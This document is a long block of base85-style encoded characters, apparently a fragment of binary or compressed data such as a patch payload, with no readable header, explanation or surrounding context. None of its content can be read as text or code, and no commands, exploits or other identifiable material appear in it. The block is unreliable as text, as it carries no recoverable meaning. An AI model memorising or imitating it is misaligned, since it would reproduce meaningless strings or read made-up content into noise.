z_i{y6!z#SrX;|qR001yj_o5GJVk%bmIji5@8&ySqyUcZ{_`R8rx_?Ls!A4!V()oc` zD+Tbq)vb&9Ue92pU0vfb_#g7UIwIIqkJxoEaNpjEW1v$ z^67Mc?7|}U{2HBU2j~^K*g+;KIHc*xK(S-AUXu*UpBYS}IUoIR+;2QBh|k1;7yM?h zjIV*HhCqx0apy&tYTCqSB7R$LWLZV$y7iI!4>0|_66EJ>K5&T?1v=MlucRfRow>Og z{qEkhGd~DJY4cM#>kd}L*1fK>9qkC+c)w*zFO!nqXNT;!w z+m?PfuUE8%*<8CnKb`Btk6M3=oJIbyw^8@=H2`ErsW27qxB;K0%BobuG%+@jHVb3uFbbE!lbdO z9!=!)ODi%3`r!HC1B|IdDwyVa*n$ufQ9pl(Xcv?H;mBp}LZ%mgQkIV9rjfx=ReZQ_ zix1=G-wT@QOMhtvPNxwml*l*r)euB(8F&HNLES@pe{A(k;fP)g``MRO-K%FtJGu*v zd7YA5wOI+%Ua>0Xqt@BAdil*9EIqYUBFp!Gt$z2W9Q60a{~%3dv!$zAl&%@-1RRvq z1QkC&clF>X{*@LB;+Ny%#syS^2J;CaX1C_#gzB)S+a0JOc`a}BB653%h@A?18H$Cb zUcxx(PDD0hEZVhu-)#gN6#Ec)v_mK~^}AlOFQG9PhggNxzN;`8{+Qeu%RSv|!sua5 z!#eb@^5%$JAb5N$yX!IhcX@FgAreNJ|1W6C(dmV)x1W6e{;y{G!#+?w6;S;P?nz*2 z8mSva5$w2VGy5R;9np@JM>_iNi_AHbys9lqoc3zE&=%y@pyVtFdk5I=BdA0trOLA5 zC76wmB=neS2&JkfL&7E;LUCxaB*eix_AjUxsr`V@90eQuIRf^4i`g34;|&r$BDK${ zM6zc)-S{9HzSqg_{cibS_m-Xc>WD-*XpaURw01>2iLn4jtI0Lt6?*o*7@n-<`tj=gTkjvCE3Q#6414 zo&HoAO(pJ;=7t$4Qg@~%O2)$sHu#9KOY}2s)uIPsr|0q!>wq*vY5{IdCH|G46#^VBXfcPp9I%a?*p zsIs_v`7`$61g~aB^d0=$tNP%4Ra6x%ODvGFw6tWKA{l0mv}P6kiRw>R{si_H8{cpk z;H`0CMY|}3e&TdBy-uL9xB9n=Arxm!TvM$Ib8@6vt3EAt)Rb|l#8OpA^SD=LHa3`& zKUH?Jo{gC<+Q2CJhW(T^3i#H0rRuOT3$6WSAlqRu$HK)@`|liq3&wv_h4$-l&xldK zoXV)dj&UoR(+eq(GRNMYRRE7qIHk->bU^S)N^@bt1uz9SG&O%rsGz09I%8+&J{!!A zYgc5=;R@H@05qqqQhTg@CtF>zrXJ&)?ik1>#n)!=2g$zLxk6p9{TE^f(xr4c$CbIv z8H%OSJAiE;ErT?d5{zc=v1$ zO?_)0O5a8?yNj`cvCaNrvHFbrSXBGJtTJjY!;ES!bD3X873O;-9SUym zhxt?|`pmC5Pv>tJ6lEb%Dm@E3hk1&D%( z&$*q@!zZM(?=6Pb z6S5okjf3K2PIlPLyWhu#`P~OsVR|@Betor%iGx4O&o4I5ussVVj|G^x{ILN#W)bcDd6d?O*k2QR_Y}Y|*FrCXJbw#uVusx$V)>ctlx{<~7$@H(uqFkp3U&XXcw* zyV>t*9wt*g>Gz+XUuZ^=Z(f0P=3{EGJz3PUCtG7N-eK{APAFR}HmhzLR%ASf#RpgV zSeWPhtbFsgt`>*)0vzanKd;biBF~Ia{Wmz+uLY&>PYt?Dt4(O$!#q0J?>4*Q)DY>B zzG(lsHduMs{mIhR^JEmxDXo6d&0vS1YV4SgJ*O(h(hv{1@C(>a%?-S%DY>hwRo-7e zwq*_b?)2jyQ^>Cgy(;`Mrx?t2{j`2Hi+^W>-t;6{G33n!B%668BIPgfMeJn8T9pXTFsjZhOabI9BXpHqG_`zu8FGLMMkdogrPkyL|Z z*!+x=I_6;I=gO}kovA8i7o}o<^PJD$PcZ@e_*ZC7%})QsZ<}K^k+~Bnf@|kmkwg0C z`Mmp^SdqDd?293f`LjqRYoFhvw^U^AG0MB613G4JWgy#1Hcg2*@0~-`hLXs%F22WK zg^W{I$}?=MIhM#26Y)<#0eGE(qV$*@ax&9n{5CbqP~>X&d=sgAQu)kh#nm%U%$eR< z*)hDI3KLWMCMuVrP4QmJ-f8>iVw5bc-P43x(l9i#tf9PV?TBMm+Xjs#E3#}#f8y&C zF>WMpjBgvw1r=i>7Yu50o@5f=ZBGQZ+u09ls0=46I%JNvR~;O|+G6}_G+gGcNbSW! zh&%iem*#ZP0U3Arn&^33<6BJp3Di;@yFS!=zWLa7R9ED-8?YJq(8&sh%$e#x3ih~N zp}UV40Wdvj=QnxO3kx`)grMgBuR{o5z?5G|j6GP^Bk=QgeCR8tTtD%a>&I7~!l7=d zVT9r3x{wyMra=X@U+t?bt8MIno;Up@w>+A=o$$rLwhiWjzUft7|7|##^_+f7pc~Us z?va`&!KvyvpcNxkT_s8tDhNMS2f&TX6h#5 zAf{Co=$C32j$J_25kvdFUPjc&vPITWi4BSRhxMfXt7cQeIV*LM-T2kBShHGNFd!eg zOB;-xMsiE1u1w})&qj0h$efMkHSdOyWFz}4(&1DUiub-iS8|m!-thoQ<47t`oM+{? zSJMI-C0CIov_pIAwyaMUJoM(%*9I9R0awcMliU zZe=;!k!w%6_IUk>l9y5T5fgIs!`%Q1+M7++nV!~P)v6cGjUV(T&U89ygyEd>Y3#a9 zWe1xrkx*1agn*n-pZ6Ec8;Sp zn`CeSv9RpY?!VdAGVfV;f0CNw+8%=JQH+2$Q+4K-Sw67v&-CG22bL`4CI`8>2R%XU zdZz6`_AdPSQ}9+~;kA8m{Phny$FIW<;o_`-MLI<4)@YPu+0JmHhYrAdw2WkJP%lz` zV(Gj3k?gIp?=y>PU$PrkcUF3d=Oui-#Dbmr>Hn2N?(W_yE*Npl8thM8fLe+8^lt=( z=*7B}7$XTTnsx-4)2~;T*de2|#2gDL@rZ@1`_0!*>F>oC*jLNIRzY9{Fj~x;oh8!j z7Ki&AUuEXtVzFPx|LuGGcl@>kcDzqW+doGK{f|i4(#by@Vy=~z;5zjIz-C@=OMAWV z_x;%H_s2AUf7!qOzBs5K?;pGa!lf4=mbBb~zqd2#W)uN#^#~GqA%2eLVT%|$4!P#5 z5`0ZqPv&Np?vJ74k0Tf>0e?)4oWgSFc>qa%L>4@)r|8-*BBL9~T3a=ICJT(sJg%SK z&nA@2Je%K5(*}q-=lhtMAr6T`Ys6^CCZCi|28cp55r_nAdC1oT+Y?8gC}>srGr#ji zBpUv@ci+$#k*m3l;FOKi!pc5*K!aTYPdm)MsnAOlni%=4G1ER0Wyve|@NlnkFhP+C z87=S}a|jT|Qabjcg1X9ld(d-uG)Ar-iKle?I&)9f!H z#71E_rIQ79^`=O4J@X@Rvmz&P;F>3=bo1~2Q zt-rLO53T5X%0vio-1R3iso$PULcz&IV`lm8E${lLM<);J@~1}?(vr)u8uxazcb|Sm zpsw|`tBL^7&s+Yg->=^8Pj!7(IK)_<@2>bqRJ zjI!4A9pI;~# zQa*pNL6}AvNRr_%dIbZfi0-fu^37Zz*vCRMlShgz9!7t`hQyDinE6m2TOPJBb1lrM zIXR02Ut?%ZrDq*LscgaK+4F^wdA|m@L)1TG*tg{w!+S@!JdChnJcWs)tQ)&GVpG54 zZ0-Lw6Pj49yWc048n?j6zJJCt#b@jPrI(!Qx}O7gU8ef?FHV>aX~+Cnhg5gJWrMgK zvkh8z!$`74lpbT7s>6wFAg-7o5_H6w!O1Q&@GM_qr3W0SrI!9@1@ssH*v-s*D0<>h zC`$i_%yXK4P|ord<9i3<&QVs%T&{WROuvEyp6_l!zu*5$`dtFb&4)Q0{Ww^#4k8ip z$I|drXjuDh#7mx8FugY->5PtcsNjwto%#l60DkQ4eh2lU2iC0elC$qzobGbZ|rM-UXLW|e&ZuH0RC6!dB?1UpdI>pyX`exxkPGkr#&4t_gsqM)YA1+ zo_xA~a7IAaBMwB@fQ2l55A*4pYyRel$Lwo~hx}a}!1)*Qzxn&8_WOS9zw!MEe*JFl zR?X-dC_L&@p0=68iT&UPt3}HyrY0wVY?YkM?}8?^`gQU@mF?P3n2xP|R=XHfRHWBp zP0=y4Q%9wkeR^b%N5;6{1L|2k%&l%9|7x($c1}N$f1~oFW|YhC*!+1JyxE6*vnx2j zWw`uAEy?!@Y+K?KgwsynZ|cTA{cZ8ZUHeXNp5Ml)Rg(pGh5~XEuf=fi#X zqGy+{=@cd1-tWk2PW$e)4Y^WbCL>0zsdI)O|FOJej|*=ru+WKshu$wSX@siS-KTw8 zrbWy$j;fi@iML?7QI&bzKe?v!C5vT#ONN(}2I8*^EMh+LOQ7GVQdSWaGM&!QDWz(l zYmbX#8m#E{G;Ly*KN_2-X2+u$`24lQ9>xIvJ`0IkWV{6aD(o?u{yuDXeyWemhSNwg zJ@luWkh~!%!S{W7L3S;I|1Q>rY@S*g%f|5<$P}ZL(aM7(VHCFr^Zol~J>>EW%`<b2{o2URF&8$wVifaLYH5NQ7t2vh_O$H4J-*m>+IU zrJmQchYRf~q>fC+qNVeqDcbh&M0VT~N9B=fjTbLrx^mYjm}hsi6ZOJ#g!!E(g(7!V zBA7IOKDXR(erL)tw>-Z_ZzBhb5cI zwck@Pvw+P9xEhP2mC0<-hWnS$|PwNCn6*Gg@R}w#J z=+)QTt;LPP=Za(9Hg!e%1$~j2uP^Yva`>~Zip-PvACZ{<1Q|FSH|&8BfBuors@+E> zE^XLjo*lvT&e`ZSWewJ_<|Q6nPI2sW>!)1g#qSo-^4i<-LRCeHyM(3AOT{116PBF= z`9*RmBMlwRC`*R_q9f>7s5u{F@D^Aj7XkDw`BQB&CHC#ot$R2_qdL7!JF?4H>R+U) zBgrr|f%k+7;;;v|0;_rbnzrp5EI#WHwCh-2&Zh84w&rd2#knS88`(Y^IfeUkR3biK zB{;8{%MX>*SS%6`TS7Krc&ZWQ%1gFRrMIw7aC$NbYVx*5)7Ewp8xq0s1^SelZ~vhq zZ>o~Z)8^=NGlh+K#yqFObG^7tl23y*^~7yed^XJgEK--TlCEs)9`il>-C_DJ{RXMl z0CCm$W(L?+;4=W8ra~DLsoeojgs-_5?B2qGPO`NkAa9F?JtNG#lDDRgm54|3?*yly zZ8@}!@sYD%?o>=5axozqg zwBdk+FV3X{R)ib{nLz{gxcU}HLE>{m!v&Ux7nf(}1fM^o5yWix8xFXFZ+VuG-)a7y z&7Ki&?J+%DeqHv~|0xEJoe9748&jTm#tp(x-S{f`GIG})w#klJ)Nyd?k8cj-2XS)V z*<&g_D?eE1zvJXb(}n<2$vcrbp9+FQU#d-^jbk%9fDz@uU9K4g2tS0A7r!mnUen{n z_ol~50yFLyUh)gI@^4%-`(JUC<8K!mr;Hq5K7i$}n;e$7PBWvs*f^3B-?62h)37&3 z+G>dkv43nF75(xWO=?svB#)-ddK#bjFqF)%wS;5rK?|HzX3cF z@Xz~@fE<;XpPplS1>U! z(cn$f;VM>+Wn=4A*OcE5@JCJ`~}3goa;+Y2&YHJL$i@7IGdV`hFjM zK)qaSHgL?_tj@UCBIu`M-^uWhK@`Q{$N3MxXrbee#V$WQj(oe*(1m>Skt)!(k(U@= zw7U98+JNKJa9*zgpNmFwK;+n6InsZ|Qqnv?edZa5)TRkQ(h9`EABgm0|BYS0bd-UT zZMgpsP#&MI@bgddWnbYq@9&moQTG4Ze$eJUpnnQ$m7Gm_J&OK0B5vI~>1K45o=z|Bc`gU-eyKwDeD4WO@GYUxL=D&7Yp(f2zAY zCJ5!;1Wrp>uqT*CdS&QYm}Jhe<$fySuk3GrqH5H zXTG!v9FlfXbt=)V=5C*ch#J(_fqGn(KyW9k2Q!wdqUZ+Uqf`RAFX{w8m|VStI<5P{3AVxyadOD~ETGRkR6f6sB5^`YJ>kg{5>e)roK|_1 z+~6OY%s{ux&=vV$&y{cR=i;8Mvc+vXF4x2r!#}2{uW(3z#dbU!FAoc{{$0Mx^fcP0 zRR2*+jgnaBnAbDt56eTUXbCP^d8MuEKKI;bz30lj^JXGWaYLJJ(?S%>zb7DYVl zJGO`)tb_>l&q_Mh|^oq||xXPp|bWLEF4{G_5orvX`9=WRg&lgurT* zQ+O9{2oI0pbH@K~n#cceQW*c19NRDR$#I1fg@-Zp^{IprC!sUv0U@FRdc{CHKyUU@ z2=eWSi?M+4gwFRZI_+I(t~p8qo6&q;nwUNzr9H|2g^R94FzNn!Jnw(7OcYH}AW{9RQKA@p# zb#*t0k(0gYeuBCnSw2B`C%X&vE_NxC=I0z}F1PaOYVkg8y!=ivgq=G^*hf44l-ftc z{zHXS<;ClZ9QjwE>IQ^+I-fN28}_2J0n}1TVy)x1$xJ!QZ%!uBLWi*R+x>6OuPs*v z;Bid=8Bf!C3;9e7nJX@<^{RgX*gjdX&$a-YeXLy`(+79>J}sSy=A!$r<7<6lxcTE+ z=dpLS;`)S>3_H~Xzl(~P`@PEslnx2>{*;d6- z()i2qjkw1rG~{gvwYpuE1MHo0Htd15Wu`Q&4r0r6vfKP|yXB6@x6<#&14{bMKyfXs z7&Ff}-ud-Fa;+Io_G8nBd~s^L!KAp36jkNE<^nO|=kgW#xIvl8ig(4y$DY$k(XD{^0VXE`KEq4N@C^K)yzu zxyjGZ^Z82*f4GnuKus2%{DY!no_fnd>lk2z{@{blH;Y{JPYN(`@b@Vdbfac~!=#_$ z549Noetw?mAxswjnLm%aTGC?qe5!ibGw6Pp2dqc<(pvGO@w@L&mcEBQN2`w!t~Wsj@G6Wq*!gR_YxTRQ zk+1y$bH2+z$9!rYWO+OrI8??Cfuit8H$7KbR zX!>NDUKx4*gKks0>ZD9+N(UN!E(7>WM5GE8QK*w&pXMcOMZZTnq@5?o zOVvyYp~@i;_+shs5I82?PSbn^RK8SHCWVF`+T76TKD>aywt0%+aVm4{X5Y|K)h)8@ z!Iyx(YgMPJPOInZOn;7_)U>MJW>vqWRD$slRx89g%E~JEJu+9GPLzC_pX$AbR~}Nm zw>L5U_U1+A-a}H#d^{}Mv`;P#I=q8DIyT8Wv8I7Sc#pToc+*SWl)Og@?M@WTcHSDB zO97o9pqJ>EOe|&YZ-)5D!64?;SY7h~5SUdfXLGy{M{o`R&b=4tk!ACRe(IdVD|653 zUD@HBysA4>=9K1YPT#MZxJ4~9+L4M8^b@DshATWZqS~%&KQVGwhXH7bvh^?1FJ)dI znkC7$OWKmeK}IHMx6=Kke{}_}df()onEm#@vfq-AsZYb0b*Im8_{Dd*J(74vqoL$Y zMOaKJ#G>L3{SPPR(hu)1;UwR(@dfe{=SLGWIS;4^1GQp3_TTEQ>nm0nlZs%|XcJ$+ z$;a7L=u3+H#NcjX(>&kI9W_S~8Xf-Ks`EU3)t-8(3?R-7gZy){I&?}P-){1A{rP3P zMBCwS@MnO7bNVkR$-!k`zO7s@`_4ZOL5rJw04ZkMcUd62Bg;174R-3(v$+rA3pByV zvYv-?Afb1vzFyqmj`(%n2YOaM3+pIz$Y5c8F%_}gTyd&i!ZXS_Hw@uTi^k zp_e-F2Xt0AbXGw$hI5Tr#KQxL9G7-3TAbnt^k|>jpHvX!Vox)8Iru6kGj(^+k_J z?NfX&a_h_rQs>T#7_f;e+ri}>h_mvrmK8`wk7Q>DXRCTAX;!~JsfDqoMya%Ao_=8R zLis&cfKid;aG@7R4ln4M9j%`MP_iD_Kc5cl$TC^bALh}wg4|^vtreu!KHjOr^|7m7 zw(cW#{$EV}DeGswsGIL+o&NZn>~wAWZ?I1rB7F?bH8;XPRCAhYtXGAF0v)$zm!s^X zt?*F$Xe-1U#QYYtGtac1{CRWqe~I?`wnlxnKh+DDHVVAL7<2jb6-^g9GQO-iIU$rG#v$jyUms+FdH zut8U7ZQasv;dy+AlCT2)`}PHP3q)k09u?{!Ji8#D@zn>qSnqb3PofgFR$ItVzi&Ii z(m#mL0y{`@o=>rvl$w%1pusF=YNJmJA#nxGKal*)-Va#_3YMqeoYtDBr~OqkmbU*s zL4-SSLKpmI0n~ZlAJ9J43cq}FGDvICRQVO~y@re3UpPqn1Nd#)pLxvkiu`xC62FN< z{tI!vw@gy=$rAdc-dzgoj{DD9PKrAMe+*CN`n}eX?oDg7&DyiJV_gWF8}kvgXxHP_ z%aau6>1lnkw4XB?O=>n$bxmH_6ki~d6;>*1=#mn#z*?ymh^3OZVx_Y7s)H=7B@}8` zsAwp1x5U4$?5*d`+L))uG_hlHpZ3qMn^GoGnlqLm?&;M?=~ zt~7qPq?UirGeYMC3+x_i!sue^ekm4R=*Q<9RYXJtsS9fccc3-o5b-w=SBheK0M&~x z%4eGq;P0OY@FokKxBFzHZng-Df?dq|sSmG6rhqv*C9C3mp3JX`P(fJs?H%E-iU zHng!Da>f9Ebb@T{8Bx+0NviGQSWS<>#%LE!^qr*Yw9i6 zICIPxxaJ`-1?!6gJC~(Q`{p*}wrm5WEXoWK;b*Lg+0Hau2WFf5Hu`RJb4SQWIB08^ zmTd)y$zjasd}!6ul=en;41yL3+wYJXVuiPoV%hWZrmveIPr=-Ek-Hl}+e~b(@#bue zeeJ3NZBfQwyhHjEm-0S4wm1S-8LlP>D?%$g$3m^1A-ToQL!WoPZqm+f_$HTL&naf5 zw|Xj2v{Kp>J%mIV0@Ad9P_uY7>E*JKjzJ?k4aIJD#Sf1EFNJ) zs-fz8Ek%#?7aJ7AoPfh+WLa=ywVcl(9aLdaMFhDel#}V7|JGXgW7(f6Ut>FoEauU# zM)uz{GG{Ftx5`&wq(O|6RrqR&X*FEhm)Z!q<&mKqMkM=P^il5+kAEJ?@^Tp)WmV6t zCBV|a}P4V|1TgnrsMPOHRM5{&BIG@$89g6;z(ZEO$TNtQ6djYC-mX{r8ri2pnRf9_Y-ql$T}&}a zDy0L{y*7ML1oOo!U##T4biv)Z5RgN`$NQxobET9zkEqJw`|W$Rf=QYIU--OLZ4+al zA7g!jgSa@PLa~`8g23qegaU-EON+$0q%>3(rMxwzMM96rLL2oPnR^*PiDXp4Pl{bF zrLul7>py2eJuBCQ4c?kYq*If*JdbAmRNyCzLHef5W1K_sCFGMsTZjyfY(Zw`20JBe z@cM7jIj=t10ZcgiaAS#Oorj|K{NC8NsE)12@RKh2iC#2y7>Us6a&{NnOdesgBhO90 zSBbhYGt15;^15H-TmDs#)%4D(~*NX@SO{WykaGJNa`c%AXa{q`>e3m}-bh3;le zHSC{Q|51j5jiVqMBjix+WcMj#evtqFexsr}!57oQu|grif2~&hM|Q z>a631(NIj?ZM`PYgB7mJX-pg~uW1Y+e~8k=*Y1wWJPd=3Pqc=1UU&(V{k10rAh*trpYpY2_KJ{?+8nG&O?&*pWMrL_@Sj;Y2 zcqlfzac1?o?VKTw+sp@C2?*ExnVn@34d0Z~qN*NdpH1i{h?C1*{I67|n~j-;TytQzUxKgb{6uIJu*UJLyD z2xyXyFj(49!0NZ>`EA!0QdcY_)`j3GUUnf~tW$twNLnw14mNA?7(r&0erfB|;^!=& zXAY`AN9Ms|0e$oBIx^AgW%iJfZ}^8q>iUvRZz2w8mR&KboVEA^5KWRsF#hE7>utLKtcRfffs(jm!ZetnfN;t{68R^dER z<2_P#x}0C%(-pm$dI&SOle+ovDF4G$Wq+XUq5UL!w#ZLZ#FRO7<^QF-$nb7uNYwiU zk5<9>d=<2lc_e7VUAvsHg+PmnE$Tpw zi+Hv0Ub5K|;M{+MxCOUglT_X`+%q>n>=$~(FJz9OQrT;Ym?wG%o1b*#{2DdgjX+1( zuuX`w$RCRI^G8eg#rHrI6p<5mL9FFHr@ z*=gdv`FRvGzp~rfF55Z~4biB7RVCtgtAxs9+H*&rKC(~v;jw0z#4ba7uW7Yc@+OB^ z6X)!7`rE$BOkF1zRJUyY{3i;Sir+FHEw+HB*@}mc&R{j-nj$88PZlw?XTWyMVGpZ# zu%Y{B(P3Qn1f8xRUYly#0zRh#h9#StDaki(!1l~g}Z>7_BAjJ;n+Ar0; z{%Jf8;?dKSnsg)7p|(lZ({MDe?SmH56Gg24I&f1<4vvJ8;m5`CRWo|w;t`)GB2ktRRldhfZd6LKVaR?vdA+RYI(RS)01RUhT?hHIs2%v?>A`vBtAqray{{! zQ!kwBiG6A5dh(prEuNFgTb8`6DODDKP|qp6Pa<sfh<@)@q<*iKgObztkINvHj>gTQ@-3MaXs%iEz@wH7`Z1X0NZmBe${-NBZy!#_KIYtRXlo0<(J|7Byaf-C> zlk9i4f6dyD{DnsE0N4YcL91FDj@bS+kL^NM+w*?|_t$w^sz9!Neb69%`OUDzQ(Sh; zaaJx((+@rUjooK}(iHfF|?z2^OQr0%#nYX2xcIV7JOHhR)tkQy2sGcljsS&Ar zpW0H1xD*k~ABg3u^IVz4B453#KFg6@XS*I&nwfT(Pa2_Lqa@V;*h>ovGyer}dvCOS zcFV37-F=JfVUj$jDP_Tf_1J^h^#LRwnvafitG7I`>&X%bBY$|42tj{ZgFmpfF^v@f znTx_y`9*e#u?_T`4a_Pp*7y>)IH{HCu5>rmu0$ua;z#FtKRqGKW#&n|3H-Cm#84lcyweWMLM-H9i0qKR?gO zaq_hfMitv@^$$5=rwhg6+?}9H;^?@2Y$p2k=LhvCaXt_q6iaQcFneY?O|*D*^`S!A zJpNg>vp+$v70%|~n`CywUc-#0aB=H01(4v4u_8f>4S;nBh)KD0PaNx{ta{d%1Y5@%wDkNF&>v!0hx_Y%Gp~|r7-N6E2rMe#g%byhil$4H0b@#3+4$aS*+c2#Y z9SEUM1nQ43hR`;=Ti6t;^>&_tt{n`^5@~oHni>-w3QE>a-;sIW^xFw5KT2(Gei=p! z{5oXG-R>K%w7#14l^b7q%R^DRW5hMUhX3-}6kMWxXwH+wD`Es)WB^tW=VH~n_BXg= zkTbgR$sX5~#Q2>|)+CA|GE&uGMF>%Kw3&`e0Bv|;0Bz9fnDv2bfFbfSNBYkkOh~Cd zCHlwyfmURN`H%b$?O|8-y}6#Ez7XNCtCA+JnIp&ToSddPm6DI~Ms$h=lStw>wUH8b zgNeoGwcm9sQlihGR@bv$!yy>p*P+Zuk^K#xKwUTlK#^ z3t|^j)z6DvLY29Ukp||sV`%tqFqyU*CEDZ}%%#0*Erh#LbEqV(KRPrpEalKI2jURt ziY1n+ovY_9{eQH*3w+eY)&HL$k%-_%1&tySG}a)t4PHsrnrI>$-AKGtP}-UbwRmf( zB!ERFkOWwk)kUe|rIo6W_0|^DB1)?XAOUQViz12_6dyZrwGUVe-b()O&zbLclOSsQ zd!9e97uoOJ&zw1P=FFKhXZV}tjk@ulck59Cc8Y*KIcU4?r%pvb;E$v(iVkjC%&sR+FCKq&DzyJpzq=ze4Dc7ffwS@oI<*lecM7`&*&oiRFADk5^xm`c&TCj!} zWEeJz!U6%1>ve||&M@pNxL*}C_~)&99loreYGg=rGVr$@sX@3 z=6n03xF-Uw@R!+I+C!UJ9;oPUhnBgnPmfHaB^`|x?1AHSg(7G_5A|08tfq%&+XYy} zL?k>kVH(A05JorIwKvGX?o{lyhvGy7^^!2gbh0NW%1Hh^_|HP1~(JYa4U<%x4AO!>cYlD&aL^I zZ{2hc!5k=VHV9L#azD55EV7ZaW?Hq{j|pnut-{^l_x!ul`;Jf@XI`C-b)XtOHl#a% zI1F=-{KJz9b_kyBF^a9hD8{QNiN>T%)P9pmRBS@&UldRW8lD;_ailI%|CEkY&_6{Q z|G=+J#^0cSb;tT+!(U1l+c2d7)57JX(?$a^{zj*1&u3Z3iN8wmIBwyyMuqC9uhfU4yS4YwQGKZ2x%5+n;m4=3E}0%mN~Iph&@ur$r(rOo^HcOc z6dtC+m^8$D73xHT{4grFy<28_9Yki&2y@O+xr>^qxgoq?R?3K+K(yh%A607oD0S!k zP?VK(s0tj_Q6QOYsFCKIp=eKoEs4Fm@s|oo9uttKj+D8 zsY5F}d!sLwXC@r2Q!`pwUzN-{?8L)uy+L@f`nw#1cnXA=epUch>~8C(-+&6dyB|eF z1ZZ8Wk7(7Me>)>tL`2GsV>sL7xTO;%3A*48-|no zev4q-gEi4PbY&z*_78A1g5yMuF?M+r)H;hL6xBeVIxjoAadV_;I8DGrk3~^WT%@sr zA=oWDl$S%5m5GT(=mmG^$mkid0pdS6Ok7|}5ub1KS=K%r&coZ`Y?Et$%O@Hx+g)4(d|85*Onp`T>6%XrqOm+aSE?mE@mHefYq>n zSVP_`zJ{Vb9f=+gDmXixh}xdQkO&HVWy|{oy+1PmXOETbQU74I&HS~H6HVSE!sX_u z(1IS@_1PfUU=BpZseNEoiJ1zOm3&h77W7f_LS0T3 zqR0#ge2s1{7$11|*GBP;M}!prl8@*nmy;+~v)pnY(O1ttNKSK)6TyYHLNcQl2 zwW&SQG>CzGbNs#?IhzpOvA>=LwlsY)<{z@{|^!KY7XY zl#dd@&f#N_z>AShm)qb1PQzjyU1ZgcqiqwvhV0;6XJL4*!~2FiYDWO*)s){&A582; zs@0$0c_4s2VkOv}pU@e77ja54(s8;*?&yc7zfAX|p$Z;`jE`qA5Gv|9D051mFiVT1Uq!bVU zDStyDw1iuO8a0s6Hyja)5NtujSUN1>vZ%ByVYfihv(WMXIY?MF(>JMGq)&g1D6lG- z&P`eq2z{*<$yxYWg2uOR@EjDvV>FoS&U!Oo3fO-@IGxtZ-9P>Mcz(zF$W9$Q^28iz z25fyp7#>J62Asw#OIAmk_9raa0Ck7gtJn5)<0k>>O*H0({4u}qS&F-g4^?zU*q{ZI z3Ob7qZ12rZR4oTDX2m!73*>ql_!w_A>ZOaOIzeR4g?5)N&?&P6=;NmShA~R!93nqZ zGCFbFAF_*QeYk1(jo(_@=2XaCUn0#dPzgu@Ksa$u)C&;J=~DHzsLRFd0+Q!Zsgm>E z!M>><>W+t<;Y_DG)l`c9?Llkmww(tB_YbcO(t`URcRgU~j~q`~lXcDx(hEF)pG>;j zaW8-Nrxj?DN!|JWVOL0!^R2dbzZpOhw68+$=N^(?Atb*3&59+R`=1_?99`QMBtCsf zkY3=n{}(`9El6hgRu0xR4O`C+nrG|T@F_$L6s~iKz&xas^NH6G+HUJukaixMo5dAnPR zyHY=sp@L^5O4`DD)$IoAF(Zi3A)LE}2*0qp2(StlxotnDolf$jbSi=TC>6u$2QptX z%(ihW)o9iPa(C@fE2e7A$O@Gud1M#6*M7Qv72D+5^VM*fXc+q8MmiHdeL%qK-ZLIb zbjVb$%gZp88PQ~bG~e}W}z zJoIt07%0uV%lTo(JhZUI?i|a75s+LdRqnveNP(SI5 zutp2zr|^*(SGkQ77XhI8BmHEJP=^18&lPVXsy8KAKVjdDrQ-jqoucn)@(hNB!;t-6 z&KztU2-*VG+)yvtnBeKsn}RuF_J*mpeqTEDMg_6t{e_Fk;-A32yH7BWroP_{HncX# z9A^^W?zknw%WMmdH2oa8Qzf*>G-iduO>g&4E)7Q$K0cbW z07*b(r1gFBHD-AhJEH^BT_n}xmC#92jmGaTRNKg*I9_Wk6#H=}%>?!A>YA>XbvW(V zQkd{LfpU$;S+)d&qeKcg#2+U0xqYDER}Qi#y(3NER$;VIK{?f4psZNIs7T`4yeoF} zy}cK2H3W|*0{_%q7kvLX9(7#m(ed1Vp*+>NfEeQ(3yCu!X#s2xV17dw!-;y*dH+*y z4^YZVII$PWUisOf z`>gFH_%W;Ec8BhJO2|728+h zY;RBzIk%;}WJPJ@mKEX;m=NYXN)_(gyoCCdfYR3JJnLsPagyOjef@4UenO#?U%3E) z|2NLA0wMFK2-AK&_=?_hYNAb^Xa1y|4;uOh{t zp``n}oge$zrFq(Rfwo^De@7Z;DH;r>#X80u*pC)!CGFQvHX=Eguo1~Yt3GdETrc1s zohCwRESxXGXR3*cMOcgZjsK~znI9|q8u+rJqy8$1akekO+SycW^z{|}1(1`DG$LdE zfW8BW=sn0Hns$^%ZeJ1H8LriB@mksuH3-lBY(IwE>r08m?R9?HjAE6TyCS_e-Ssz( zYcE90Gre3mXe`_&sP8WPSWs*4*8eC2dsO}mR;9U?%)DYd#>jo;z-s`6-TK8QIn)Nk zcPtRD?+CZ;5h;niDBA3eTQ8{MIur$sHLoAduikzk($?r29?x(I~97j3OhEP z;&g1xwz5b|acT%P=8X4IW9ciqBzJ5ckZMRDdlY%lr<0hj#Ec`W^gZ zeg{t|#7rqAw;bcAO4E)yA!;2#W~r80LdysNe_6?se*bPLNbkcq=GZ44gE#I-b5%O$ zw=gqzJ}cQ*j*;9g`%wx>p+_p!_KRLn^^V6qJuC>QI?sM*7v_6d{t)V$XBXD{m|s~8 z{vE+XmXDg{qY&w47Y2Q}r$8MV0Nv*iF+9j$!W8P>c-0Mt-tQz`34YpZ4_H z9h1*KWIIZ&B`zJSH>v0H!WO#5+H+GYrYTo;=5VRKhhX#qvA^B&fsYv*__=(;f~5tQ zV}H^KpthIwy23tJ`pKkj;Qw=Fr0H!z#5E%pRuPr^?G%Om5@g-GDX7o&w%WXq!9!sJ zYvzT8rz2W4$_5}1+@H}lgR|oiR&0s{ceE6&6tjOqOIG8lVU4FOH#8qh*t5Qa;13VL z<-+xax%3&Q{8no3uvF7Zk7gqnz&3(mXhbm4#Gi~zbOq4UMxzmgTkGd$?dfj%r{qRwoD36| zQ-^d<<|Q0g^k+=11ztpVPi(cU6QK6i=#0HXoGpumk=2EVP~Oh zEO!l*NDfMJ*#R@`%-E=(1UK9Uq9Eg zeGJqHe`xEjZF&gyPIjMCXmL@o836FF;2+t|ga!12q=1EAoCIlgHLc2Xy|*H$OZ4{H zgw#^9>yWahle@sZQ6%WhqK5TrbM2MNZrPw?)sFr2J0EJZHP@m$ET{etyasx}cJEhW z+DzI_JT{xZCEFs6_cBc*i?+c6K1>l+j?KFa&MlV&He|F~dtbZl=j3F=93qT$09yAO zid0JW=j&^^-FoMIjT$s4iKTtENi5N%7hv2_rm(Isma{YH#X$CbbAUhm2g`kArq~(F zy21Y2w}fR5z%(2~flmlr%x@{K(9id&xJGzNIFkK%@5g}D$=RT|fiygliM=}dlM 